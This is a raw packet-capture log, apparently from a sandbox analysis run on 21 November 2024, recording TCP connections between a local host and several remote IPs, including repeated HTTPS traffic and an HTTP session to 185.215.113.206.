Nov 21, 2024 22:04:23.065732002 CET	443	49715	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.251807928 CET	443	49713	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.251885891 CET	443	49713	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.251945019 CET	49713	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:23.252238989 CET	49713	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:23.252257109 CET	443	49713	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.252347946 CET	49713	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:23.252355099 CET	443	49713	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.256165028 CET	49717	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:23.256211996 CET	443	49717	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.256285906 CET	49717	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:23.256737947 CET	49717	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:23.256753922 CET	443	49717	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.259244919 CET	443	49716	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.259324074 CET	443	49716	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.259385109 CET	49716	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:23.259490967 CET	49716	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:23.259540081 CET	443	49716	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.259573936 CET	49716	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:23.259591103 CET	443	49716	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.261861086 CET	49718	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:23.261921883 CET	443	49718	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.262001991 CET	49718	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:23.262125015 CET	49718	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:23.262152910 CET	443	49718	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.270047903 CET	443	49712	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.270112991 CET	443	49712	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.270168066 CET	49712	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:23.270314932 CET	49712	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:23.270330906 CET	443	49712	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.270347118 CET	49712	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:23.270353079 CET	443	49712	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.272260904 CET	49719	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:23.272296906 CET	443	49719	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.272361040 CET	49719	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:23.272524118 CET	49719	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:23.272535086 CET	443	49719	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.301384926 CET	443	49714	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.301456928 CET	443	49714	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.301546097 CET	49714	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:23.301708937 CET	49714	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:23.301708937 CET	49714	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:23.301722050 CET	443	49714	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.301727057 CET	443	49714	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.303826094 CET	49720	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:23.303865910 CET	443	49720	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.303941965 CET	49720	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:23.304058075 CET	49720	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:23.304071903 CET	443	49720	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.555701971 CET	443	49715	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.555800915 CET	443	49715	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.555927992 CET	49715	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:23.556145906 CET	49715	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:23.556147099 CET	49715	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:23.556173086 CET	443	49715	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.556189060 CET	443	49715	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.559705019 CET	49721	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:23.559751987 CET	443	49721	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:23.559837103 CET	49721	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:23.560026884 CET	49721	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:23.560039997 CET	443	49721	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:24.683998108 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:24.803558111 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:24.803709030 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:24.804836035 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:24.924830914 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:24.991848946 CET	443	49719	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:24.992455006 CET	49719	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:24.992472887 CET	443	49719	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:24.992969990 CET	49719	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:24.992976904 CET	443	49719	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.023518085 CET	443	49720	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.024005890 CET	49720	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.024028063 CET	443	49720	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.024553061 CET	49720	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.024558067 CET	443	49720	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.057522058 CET	443	49718	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.060724020 CET	49718	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.060786963 CET	443	49718	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.061198950 CET	49718	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.061214924 CET	443	49718	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.125308037 CET	443	49717	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.129153967 CET	49717	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.129169941 CET	443	49717	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.129642963 CET	49717	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.129652977 CET	443	49717	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.290863991 CET	49674	443	192.168.2.7	104.98.116.138
Nov 21, 2024 22:04:25.290904045 CET	49675	443	192.168.2.7	104.98.116.138
Nov 21, 2024 22:04:25.341732025 CET	443	49721	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.342658043 CET	49721	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.342694998 CET	443	49721	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.343174934 CET	49721	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.343188047 CET	443	49721	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.415916920 CET	49672	443	192.168.2.7	104.98.116.138
Nov 21, 2024 22:04:25.429404020 CET	443	49719	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.429482937 CET	443	49719	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.429698944 CET	49719	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.429785967 CET	49719	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.429785967 CET	49719	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.429804087 CET	443	49719	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.429812908 CET	443	49719	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.433099031 CET	49723	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.433154106 CET	443	49723	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.433352947 CET	49723	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.433542967 CET	49723	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.433556080 CET	443	49723	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.458599091 CET	443	49720	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.458667040 CET	443	49720	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.458761930 CET	49720	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.459054947 CET	49720	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.459070921 CET	443	49720	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.459120989 CET	49720	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.459127903 CET	443	49720	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.461934090 CET	49724	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.461960077 CET	443	49724	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.462044001 CET	49724	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.462219000 CET	49724	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.462230921 CET	443	49724	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.578145027 CET	443	49717	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.578212023 CET	443	49717	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.578459024 CET	49717	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.578505039 CET	49717	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.578527927 CET	443	49717	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.578540087 CET	49717	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.578546047 CET	443	49717	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.581654072 CET	49725	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.581684113 CET	443	49725	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.581753016 CET	49725	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.581882000 CET	49725	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.581887007 CET	443	49725	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.606547117 CET	443	49718	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.606621981 CET	443	49718	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.606717110 CET	49718	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.606946945 CET	49718	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.606987000 CET	443	49718	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.607012987 CET	49718	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.607027054 CET	443	49718	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.619036913 CET	49726	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.619066954 CET	443	49726	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.619132996 CET	49726	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.619278908 CET	49726	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.619291067 CET	443	49726	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.910481930 CET	443	49721	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.910561085 CET	443	49721	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.910702944 CET	49721	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.910945892 CET	49721	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.910945892 CET	49721	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.910974979 CET	443	49721	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.910986900 CET	443	49721	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.913793087 CET	49727	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.913826942 CET	443	49727	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:25.913921118 CET	49727	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.914067030 CET	49727	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:25.914078951 CET	443	49727	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:26.244776964 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:26.245093107 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:26.248363018 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:26.368051052 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:26.731832981 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:26.731964111 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:26.740210056 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:26.859672070 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:27.160319090 CET	443	49723	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.160950899 CET	49723	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.160994053 CET	443	49723	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.180598021 CET	49723	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.180624008 CET	443	49723	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.180881023 CET	443	49724	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.190584898 CET	49724	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.190609932 CET	443	49724	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.204969883 CET	49724	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.204977036 CET	443	49724	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.206310034 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:27.206368923 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:27.206422091 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:27.206444979 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:27.208415031 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:27.330105066 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:27.389353037 CET	443	49725	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.396464109 CET	49725	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.396491051 CET	443	49725	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.403892040 CET	49725	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.403897047 CET	443	49725	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.417126894 CET	443	49726	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.419754028 CET	49726	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.419780970 CET	443	49726	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.425508022 CET	49726	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.425518990 CET	443	49726	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.600965977 CET	443	49723	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.601054907 CET	443	49723	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.601155996 CET	49723	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.601537943 CET	49723	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.601537943 CET	49723	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.601577997 CET	443	49723	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.601591110 CET	443	49723	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.605627060 CET	49728	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.605664015 CET	443	49728	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.605746984 CET	49728	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.605900049 CET	49728	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.605907917 CET	443	49728	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.622708082 CET	443	49724	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.622863054 CET	443	49724	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.622920036 CET	49724	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.623044014 CET	49724	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.623054028 CET	443	49724	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.623065948 CET	49724	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.623070955 CET	443	49724	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.625751019 CET	49729	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.625771999 CET	443	49729	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.625833035 CET	49729	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.625977039 CET	49729	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.625988960 CET	443	49729	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.674187899 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:27.674220085 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:27.674235106 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:27.674252987 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:27.674259901 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:27.674278021 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:27.674288034 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:27.674295902 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:27.674314976 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:27.674336910 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:27.674356937 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:27.682461023 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:27.682518005 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:27.685492039 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:27.763834000 CET	443	49727	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.764811993 CET	49727	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.764828920 CET	443	49727	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.765166044 CET	49727	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.765170097 CET	443	49727	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.805000067 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:27.835967064 CET	443	49725	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.836031914 CET	443	49725	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.836152077 CET	49725	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.836455107 CET	49725	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.836467028 CET	443	49725	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.836504936 CET	49725	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.836509943 CET	443	49725	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.839901924 CET	49730	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.839911938 CET	443	49730	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.840029001 CET	49730	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.840174913 CET	49730	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.840178967 CET	443	49730	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.870099068 CET	443	49726	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.870197058 CET	443	49726	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.870256901 CET	49726	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.873240948 CET	49726	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.873255014 CET	443	49726	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.873265982 CET	49726	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.873270988 CET	443	49726	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.876497984 CET	49731	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.876514912 CET	443	49731	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:27.876607895 CET	49731	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.876786947 CET	49731	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:27.876797915 CET	443	49731	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:28.151078939 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:28.151155949 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:28.172056913 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:28.172128916 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:28.216984034 CET	443	49727	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:28.217051029 CET	443	49727	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:28.217118979 CET	49727	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:28.217366934 CET	49727	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:28.217396021 CET	443	49727	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:28.217406034 CET	49727	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:28.217412949 CET	443	49727	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:28.220552921 CET	49732	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:28.220616102 CET	443	49732	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:28.220714092 CET	49732	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:28.220890999 CET	49732	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:28.220905066 CET	443	49732	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:28.294095993 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:28.294121027 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:28.294224977 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:28.294234991 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:28.296238899 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:28.296248913 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:28.296365976 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:28.296418905 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:28.524899960 CET	443	49700	104.98.116.138	192.168.2.7
Nov 21, 2024 22:04:28.525048018 CET	49700	443	192.168.2.7	104.98.116.138
Nov 21, 2024 22:04:29.279261112 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:29.279506922 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:29.422214031 CET	443	49729	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:29.429718018 CET	49729	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:29.429775000 CET	443	49729	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:29.430242062 CET	49729	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:29.430249929 CET	443	49729	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:29.535088062 CET	443	49728	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:29.535554886 CET	49728	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:29.535568953 CET	443	49728	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:29.536022902 CET	49728	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:29.536027908 CET	443	49728	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:29.544569969 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:29.614028931 CET	443	49731	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:29.616327047 CET	49731	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:29.616344929 CET	443	49731	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:29.616794109 CET	49731	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:29.616801023 CET	443	49731	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:29.650567055 CET	443	49730	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:29.653661966 CET	49730	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:29.653671026 CET	443	49730	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:29.654114008 CET	49730	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:29.654118061 CET	443	49730	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:29.664051056 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:29.870233059 CET	443	49729	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:29.870402098 CET	443	49729	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:29.870517969 CET	49729	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:29.870685101 CET	49729	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:29.870697021 CET	443	49729	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:29.870709896 CET	49729	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:29.870713949 CET	443	49729	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:29.873559952 CET	49733	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:29.873593092 CET	443	49733	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:29.873677969 CET	49733	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:29.873823881 CET	49733	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:29.873831034 CET	443	49733	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:29.940257072 CET	443	49732	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:29.946757078 CET	49732	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:29.946800947 CET	443	49732	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:29.951210022 CET	49732	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:29.951224089 CET	443	49732	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:29.985172987 CET	443	49728	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:29.985248089 CET	443	49728	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:29.985352993 CET	49728	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:29.988255024 CET	49728	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:29.988301039 CET	443	49728	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:29.988348007 CET	49728	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:29.988364935 CET	443	49728	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:30.007611990 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.007698059 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.007736921 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.007792950 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.011708021 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.011821032 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.013283014 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.013338089 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.013360023 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.013400078 CET	49722	80	192.168.2.7	185.215.113.206
